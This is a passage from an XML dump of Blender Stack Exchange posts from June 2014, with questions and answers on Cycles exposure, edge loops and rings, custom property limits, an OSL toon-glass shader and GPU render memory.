coord))))&#xA;&#xA;    bgl.glBegin(bgl.GL_LINE_STRIP)&#xA;    bgl.glVertex2i(*bbox[0]) # must be 2i for 2D integer values!&#xA;&#xA;    # ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-06-05T20:21:32.630" LastActivityDate="2014-06-05T20:21:32.630" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11024" PostTypeId="1" AcceptedAnswerId="11026" CreationDate="2014-06-05T19:33:14.470" Score="5" ViewCount="1414" Body="&lt;p&gt;Rendering with blender cycles, I noticed the option &quot;exposure&quot; under the &quot;film&quot; section in the rendering menu. Clearly, increasing the exposure value increases the image brightness, but does anyone know what function is used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Naively, I'd expect increasing the exposure by a factor of &lt;code&gt;x&lt;/code&gt; would be equivalent to multiplying all &lt;code&gt;RGB&lt;/code&gt; channels by a factor of &lt;code&gt;x&lt;/code&gt;, either before of after applying an image gamma. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this hypothesis correct, or is a different function being used?&lt;/p&gt;&#xA;" OwnerUserId="3359" LastActivityDate="2014-06-05T23:43:57.500" Title="Exact meaning of &quot;film exposure&quot; in blender cycles" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11025" PostTypeId="2" ParentId="11022" CreationDate="2014-06-05T19:34:18.870" Score="1" Body="&lt;p&gt;You can make objects cameras, so you could model a camera mesh and set it as the camera with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;0 (Numpad)&lt;/kbd&gt;. If you delete all the faces in edit mode (&lt;kbd&gt;X&lt;/kbd&gt; &gt; &lt;em&gt;Only Faces&lt;/em&gt;), it won't show up in a render, but will still show up as a wireframe in the viewport.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-06-05T19:34:18.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11026" PostTypeId="2" ParentId="11024" CreationDate="2014-06-05T21:51:53.617" Score="4" Body="&lt;p&gt;Based on the code on gitHub (&lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/intern/cycles/kernel/kernel_film.h&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;kernel_film.h&lt;/code&gt;&lt;/a&gt;), it looks like the exposure is indeed a simple multiplication, applied on the linear space before gamma correction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ccl_device float4 film_map(KernelGlobals *kg, float4 irradiance, float scale)&#xA;{&#xA;    float exposure = kernel_data.film.exposure;&#xA;    float4 result = irradiance*scale;&#xA;&#xA;    /* conversion to srgb */&#xA;    result.x = color_scene_linear_to_srgb(result.x*exposure);&#xA;    result.y = color_scene_linear_to_srgb(result.y*exposure);&#xA;    result.z = color_scene_linear_to_srgb(result.z*exposure);&#xA;&#xA;    /* clamp since alpha might be &amp;gt; 1.0 due to russian roulette */&#xA;    result.w = clamp(result.w, 0.0f, 1.0f);&#xA;&#xA;    return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3359" LastEditorUserId="599" LastEditDate="2014-06-05T23:43:57.500" LastActivityDate="2014-06-05T23:43:57.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11027" PostTypeId="2" ParentId="11022" CreationDate="2014-06-05T22:28:57.320" Score="0" Body="&lt;p&gt;This feature is (intentionally) not supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to so this you could make a mesh a parent/child of the camera, or use some OpenGL tricks, but to change this you really would have to change Blender's source code.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-06-05T22:28:57.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11028" PostTypeId="1" AcceptedAnswerId="11042" CreationDate="2014-06-05T23:36:45.130" Score="1" ViewCount="997" Body="&lt;p&gt;Is it possible to make an OSL toon shader in witch something like IOR/glass effect can be added. For example, if there is an animation where something is put inside a glass, the glass to be noticeable as a glass?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastActivityDate="2014-06-06T10:54:11.613" Title="OSL toon shader with a glass effect?" Tags="&lt;osl&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11029" PostTypeId="1" CreationDate="2014-06-06T00:04:09.880" Score="4" ViewCount="1164" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8T5MI.jpg&quot; alt=&quot;Before and After Screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a breakable object and the simulation is fine. But when I bake the simulation all the pieces of the breakable object just stack in the same place in space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pieces are driven by a cube the first 60 frames, then the simulation makes the rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;.blend&lt;/em&gt; in a zip file: &lt;a href=&quot;https://copy.com/qo3Rx2dNz0xn&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://copy.com/qo3Rx2dNz0xn&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3729" LastEditorUserId="2843" LastEditDate="2016-03-25T22:16:34.463" LastActivityDate="2021-03-20T16:23:24.230" Title="Baking multiple objects to keyframes resets their orientation by their origins" Tags="&lt;physics&gt;&lt;baking&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11031" PostTypeId="2" ParentId="11010" CreationDate="2014-06-06T04:59:27.150" Score="0" Body="&lt;p&gt;Yes you can model your house so that you can turn details on and off. You would probably not want to use different scenes, as in Blender, &quot;scene&quot; describes something larger that what you interpret it as. Also, rather than making walls &quot;go semi-transparent&quot;, it would probably be easier to make two walls occupying the same space in the mesh, one normal, and one semi-transparent. When you wanted to hide the interior details (like wiring), you'd turn on one, when you wanted to see the wiring, you'd turn on the semi-transparent one, and turn off the solid one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same principle would apply towards the skirting. You'd make the various types of skirting you want to consider separate objects, and turn it on or off for display as needed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not the only way to achieve these effects, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender has the capabilities to do what you want, but in my view, you don't know Blender well enough to achieve the effects you want. I&quot;d suggest you consult my answer at &lt;a href=&quot;https://blender.stackexchange.com/questions/10495/how-to-use-blenders-gui/10496#10496&quot;&gt;enter link description here&lt;/a&gt;, and take one of the online courses I link to there to learn more about Blender before you start trying to do the model of your house. Because of the complexity of the project you wish to undertake, I think it will take much less time in the long run to learn Blender, and then make the model, than to try to make the model and learn Blender at the same time.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-06-06T04:59:27.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11032" PostTypeId="1" CreationDate="2014-06-06T05:49:33.390" Score="3" ViewCount="2035" Body="&lt;p&gt;I have created a cylinder using python API of blender. This cylinder has only vertical strips. I want horizontal loop cuts in this cylinder so that it would have a perfect mesh shape of quads. How to do that using python script?&lt;/p&gt;&#xA;" OwnerUserId="3761" LastActivityDate="2014-06-12T10:52:10.387" Title="Loop cut and slide using python script in blender" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mesh&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11033" PostTypeId="2" ParentId="11010" CreationDate="2014-06-06T07:03:26.937" Score="1" Body="&lt;p&gt;There are several ways to go about this. You named most of them in your question actually.. You could use parenting, and you could even use multiple files, however here are the most practical ones I could think of: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Hide and show objects as needed&lt;/strong&gt;&lt;br&gt;&#xA;You can hide the selected objects with &lt;kbd&gt;H&lt;/kbd&gt;, and you can unhide all objects with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;. You can also use the outliner to toggle visibility, which combined  with the &lt;a href=&quot;https://blender.stackexchange.com/q/6399/599&quot;&gt;&lt;em&gt;Groups&lt;/em&gt; view&lt;/a&gt;, you could use to hide/unhide groups of objects (you can group the selected objects with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Use multiple &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Scenes&quot; rel=&quot;nofollow noreferrer&quot;&gt;scenes&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;For an object you want to appear in more than one scene, select it and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;em&gt;&gt; Objects to scene&lt;/em&gt;, then select the scene you want it to appear in (aside from the current scene).&lt;br&gt;&#xA;Note that modifying the object in any scene will update it in the other scenes as well.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/Layers&quot; rel=&quot;nofollow noreferrer&quot;&gt;layers&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;You can move the selected object(s) to different layers by pressing &lt;kbd&gt;M&lt;/kbd&gt; and selecting the layer(s) you want the object to appear on (use &lt;kbd&gt;Shift&lt;/kbd&gt; to select multiple layers).&lt;br&gt;&#xA;Any objects on at least one of the visible layers will be displayed (unless hidden in some other way).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some useful shotcuts for handling layers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Pressing numbers &lt;kbd&gt;1&lt;/kbd&gt;..&lt;kbd&gt;9&lt;/kbd&gt; (&lt;kbd&gt;0&lt;/kbd&gt; is layer 10) will set that layer as the visible layer. You can use &lt;kbd&gt;Shift&lt;/kbd&gt; to keep the existing visible layers visible, and you can use &lt;kbd&gt;Alt&lt;/kbd&gt; to operate on layers 11..20.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;`&lt;/kbd&gt; will toggle all layers visible (press it again to go back to the previous layers)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is probably the most intuitive option (also arguably the fastest, as you can use convenient shortcuts like &lt;kbd&gt;M&lt;/kbd&gt;), however &lt;a href=&quot;https://blender.stackexchange.com/q/2836/599&quot;&gt;you are limited to 20 layers&lt;/a&gt; and layers cannot be named (I sometimes write down what is in each layer with the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Text_editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;text editor&lt;/a&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I assumed this is just for real-time display. If you want to animate and render this, then that's something else..&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-06-06T07:09:51.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11034" PostTypeId="2" ParentId="3487" CreationDate="2014-06-06T07:23:39.653" Score="-5" Body="&lt;p&gt;In 2.70a:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change to polygon mode&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press Alt + Right mouse button to select loop (or left if you have changed defaults). Where you click on the polygon determines which loop is selected. You want to click in the upper half of a polygon near the top edge in the middle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For subsequent loops also hold down the Sift key while you Alt + click to add to the current selection&lt;/p&gt;&#xA;" OwnerUserId="3763" LastActivityDate="2014-06-06T07:23:39.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11035" PostTypeId="2" ParentId="3487" CreationDate="2014-06-06T07:47:27.173" Score="39" Body="&lt;h1&gt;Every nth face loop:&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to edge select mode (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;&lt;em&gt;&amp;gt; Edge&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select an edge loop (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;) going in the direction you want the edge ring selection to go.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Checker deselect (3D view &amp;gt; Header &amp;gt; checker deselect) the edge ring (you can use the &lt;kbd&gt;F6&lt;/kbd&gt; menu to set the number of edges to skip before deselecting one)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select another edge loop (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;) in the direction you want the edge loops the go.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;em&gt;Edge ring&lt;/em&gt; in &lt;em&gt;3D view &amp;gt; Header &amp;gt; Edge Ring&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9ibSb.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that when using checker deselect numbers &amp;gt; 2, you might get extra edge loops. Switch to face select mode afterwards to get rid of them.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Every nth edge loop:&lt;/h1&gt;&#xA;&lt;p&gt;&lt;em&gt;The original text of the question asked about edge loops, yet the image was of face loops. Here's a technique to select every other edge loop&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Note if you are using a version of blender newer than &lt;a href=&quot;https://developer.blender.org/rBbec8cee7cf1c7b980c86298af430dbfaf1b7ed7e&quot; rel=&quot;noreferrer&quot;&gt;this commit&lt;/a&gt; (2.71), then you can skip to step 4.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In vertex select mode (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;), select two edge loops one edge loop apart (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;), that are perpendicular to the direction you want. Then select a single vertex in between them (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;). (This is required because &lt;em&gt;Checker deselect&lt;/em&gt; only affects selected geometry connected to the active element. i.e you need one connected selection).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use checker deselect (&lt;em&gt;3D view &amp;gt; Header &amp;gt; checker deselect&lt;/em&gt;), then press &lt;kbd&gt;F6&lt;/kbd&gt; to edit the N in nth if you want. If you see that the wrong set of edges (the ones you want to remain deselected) are being kept by the selection, change the Offset value.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Still in Vertex Mode, select the edge loop (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;) in between the original two edge loops.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to edge select mode (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;). You should see parts of the loops you want selected, plus one crossing loop you don't want.  If the wrong parts are selected, back up to step 2.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(Versions prior to 2.71: skip this step.)&lt;br /&gt;&#xA;(2.71+): Select an edge &lt;em&gt;ring&lt;/em&gt; with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;, then run checker deselect. (&lt;a href=&quot;https://blender.stackexchange.com/a/8176/599&quot;&gt;Thanks to ideasman42 for making checker deselect work with edges&lt;/a&gt;).&lt;br /&gt;&#xA;(2.79): Select the edge ring (perpendicular to the loops you want), but leave it selected.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;em&gt;Edge Loop&lt;/em&gt; in &lt;em&gt;3D view &amp;gt; Header &amp;gt; Select&lt;/em&gt;.&lt;br /&gt;&#xA;(2.79): Also deselect the unwanted perpendicular edge ring.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9SVoB.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2018-08-26T19:51:26.433" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="11036" PostTypeId="1" CreationDate="2014-06-06T07:58:34.133" Score="2" ViewCount="8141" Body="&lt;p&gt;I have been working on the scene for the last few weeks, I have done a quick experiment with a camera following the path and since then Blender won't render from any camera, unless it's set to CPU. I have a really good graphics card and there were no problems with rendering with GPU at all before I set this camera to follow the path. It seemed to mess some settings up... &#xA;When I try to render in a GPU mode it only shows the blank grid (screenshot attached). &#xA;&lt;img src=&quot;https://i.stack.imgur.com/qSlee.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It takes it about 40 seconds, then it stops rendering, the screenshot 2 message shows in the top window and the image stays blank. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/414HP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9o3eN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Another thing that has changed since I've made a camera follow the path are the transform settings, they were green, then I must have done something and they're not green anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it all makes sense!&lt;/p&gt;&#xA;" OwnerUserId="3764" LastActivityDate="2018-02-03T08:43:11.990" Title="Blender won't render the image when set to GPU compute" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="11037" PostTypeId="1" CreationDate="2014-06-06T08:18:16.327" Score="4" ViewCount="561" Body="&lt;p&gt;I have a clip that needs additional frames to be inserted at the beginning. I've tried copying and pasting the motion tracks, but they always start at the same frame. I've also tried to edit in the IPO editor but they can only be slid up and down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="218" LastActivityDate="2015-03-03T19:25:29.347" Title="Change starting frame of motion tracks" Tags="&lt;animation&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11038" PostTypeId="1" AcceptedAnswerId="11039" CreationDate="2014-06-06T08:55:36.290" Score="9" ViewCount="3048" Body="&lt;p&gt;I've heard the terms &quot;edge &lt;em&gt;ring&lt;/em&gt;&quot; and &quot;edge &lt;em&gt;loop&lt;/em&gt;&quot;. What do they mean and how are they different?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-06-06T20:14:49.650" Title="What is the difference between an edge loop and an edge ring?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;topology&gt;&lt;edges&gt;&lt;terminology&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11039" PostTypeId="2" ParentId="11038" CreationDate="2014-06-06T08:55:36.290" Score="16" Body="&lt;h1&gt;Edge Loop&lt;/h1&gt;&#xA;&lt;p&gt;An edge loop is a series of directly connected edges:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m69Qu.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can select an edge loop with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;Edge Ring&lt;/h1&gt;&#xA;&lt;p&gt;An edge ring is a series of edges which are not directly connected, but share faces:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uC1zB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can select an edge ring with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;As a bonus, you can run the &lt;em&gt;select edge loop&lt;/em&gt; or the &lt;em&gt;select edge ring&lt;/em&gt; operator on every selected edge automatically by pressing &lt;em&gt;Edge loop&lt;/em&gt; or &lt;em&gt;Edge ring&lt;/em&gt; in &lt;em&gt;3D view &amp;gt; Header &amp;gt; Select&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-06-06T20:14:49.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11040" PostTypeId="1" AcceptedAnswerId="11041" CreationDate="2014-06-06T09:13:28.953" Score="2" ViewCount="543" Body="&lt;p&gt;Is it possible to allow a custom property value to go as high or low as needed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, is it possible to make a custom property without clamping it with a min and a max?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-03-30T05:02:09.100" Title="Can custom properties be allowed to go to infinity?" Tags="&lt;objects&gt;&lt;properties&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11041" PostTypeId="2" ParentId="11040" CreationDate="2014-06-06T09:42:43.437" Score="3" Body="&lt;p&gt;Blender does not accept infinity as min or max value for a custom property directly, only with a trick. Usualy you can get infinity (of a float) by typing &lt;code&gt;float(&quot;inf&quot;)&lt;/code&gt; and negative infinity with &lt;code&gt;float(&quot;-inf&quot;)&lt;/code&gt;. This works in skripts and the python console, but number-fields in Blender do not accept these values (although they can evaluate the expression, try &lt;code&gt;float(&quot;2.3&quot;)&lt;/code&gt; for example).&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do instead is setting the min and max values to the smallest / largest possible number. I don't know a way to get these values in a number-field directly, but you can get them from the python console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import sys&#xA;&amp;gt;&amp;gt;&amp;gt; sys.float_info.max&#xA;1.7976931348623157e+308&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;sys.float_info.min&lt;/code&gt; will NOT give you the smallest negative value, but the value closest to zero that a floating point number in python can represent. To get the smallest possible negative number just put a minus in front of the max value.&lt;br&gt;&#xA;If you copy and paste this value into the number field, Blender will show &lt;code&gt;inf&lt;/code&gt; as the value. This is how you get infinity.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/A3gPF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you click on the number field Blender will however still show a number with 308 digits, so I do not know how the numbers are handeled internally.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="3089" LastEditDate="2014-06-06T10:20:20.007" LastActivityDate="2014-06-06T10:20:20.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11042" PostTypeId="2" ParentId="11028" CreationDate="2014-06-06T10:54:11.613" Score="4" Body="&lt;p&gt;All of the cycles material nodes available in blender have OSL script versions that are used when OSL is enabled. These scripts can be a good place to begin when you want to start your own OSL script. You can view them online at &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/intern/cycles/kernel/shaders/&quot; rel=&quot;nofollow&quot;&gt;developer.blender.org&lt;/a&gt; or download a copy of blender's source code to view locally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your example let's start with the toon shader. The main part is the call to &lt;code&gt;diffuse_toon()&lt;/code&gt;. For IOR the glass shader by default calls &lt;code&gt;microfacet_beckmann_refraction()&lt;/code&gt; with some other calculations. Merging these two together you could start with an OSL script as -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &quot;stdosl.h&quot;&#xA;#include &quot;node_fresnel.h&quot;&#xA;&#xA;shader toon_with_IOR(&#xA;    color ToonColor = color(0.0,0.0,0.8),&#xA;    float Size = 0.5,&#xA;    float Smooth = 0.0,&#xA;    color GlassColor = 0.8,&#xA;    float IOR = 1.52,&#xA;    float IOR_Roughness = 0.0,&#xA;    normal Normal = N,&#xA;    output closure color BSDF = 0)&#xA;{&#xA;    float f = max(IOR, 1e-5);&#xA;    float eta = backfacing() ? 1.0 / f : f;&#xA;    float cosi = dot(I, Normal);&#xA;    float Fr = fresnel_dielectric_cos(cosi, eta);&#xA;&#xA;    closure color ToonPart = ToonColor * diffuse_toon(Normal, Size, Smooth);&#xA;    closure color GlassPart = GlassColor * (Fr * microfacet_beckmann(Normal, IOR_Roughness) +&#xA;            (1.0 - Fr) * microfacet_beckmann_refraction(Normal, IOR_Roughness, eta));&#xA;&#xA;    BSDF = ToonPart + GlassPart;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of adding the two results you could mix them together, you would then add another float input called Fac and change the last line to &lt;code&gt;BSDF = (1.0 - Fac) * ToonPart + Fac * GlassPart;&lt;/code&gt; - that's from the mix closure node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this stage you can easily test the result by comparing it to the nodes we got the code from. Then you can go further and customise the result to get the result you want.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-06-06T10:54:11.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11043" PostTypeId="2" ParentId="11036" CreationDate="2014-06-06T12:47:48.130" Score="6" Body="&lt;p&gt;The rendering window shows that your scene is more than 2.5GB big. Together with other applications and Windows this can even fill a 3GB graphics card. Your graphics card probably just can't provide enough memory for CUDA.&lt;br&gt;&#xA;If Cycles can not get enough memory, it will not render. If you are rendering on the CPU, Cycles can use the system memory which is usually much larger. This is why you can still render in CPU mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To reduce the memory needed to represent a scene there are a few tricks:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Using instances:&lt;/strong&gt; When you duplicate objects that will have the same geometry, do so by pressing &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; instead of &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;. This will duplicate a mesh as an instance: The mesh data only exists once, it is just used with another transformation. If you look at the mesh data of your object you will see that it has multiple users now:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FgtOx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;You can also set the mesh data an object uses by clicking on the icon with the three vertices and selecting the mesh you object should use. Setting all objects to the same mesh will have the same effect as if they were copied by pressing &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OMT4f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Reduce texture size:&lt;/strong&gt; While this is not the most beautiful option, it will save much memory. Textures are quite big if they are unpacked in memory. They are not compressed like .jpeg or .png anymore. Look for objects that are small or off in the distance. Large textures are typically not visible there anyways.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Use procedual textures:&lt;/strong&gt; Some image textures can be replaced by procedual textures, especially random noise bump maps and such. While creating procedual textures requires some extra computations, they do not need much memory since their data is only calculated when needed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In general it is also good to have a look at the console. It usualy contains more detailed error messages. If your console is not shown, click the 'Window' menu on the top of the Blender window and select 'Toggle System Console'. &lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-06-06T12:47:48.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
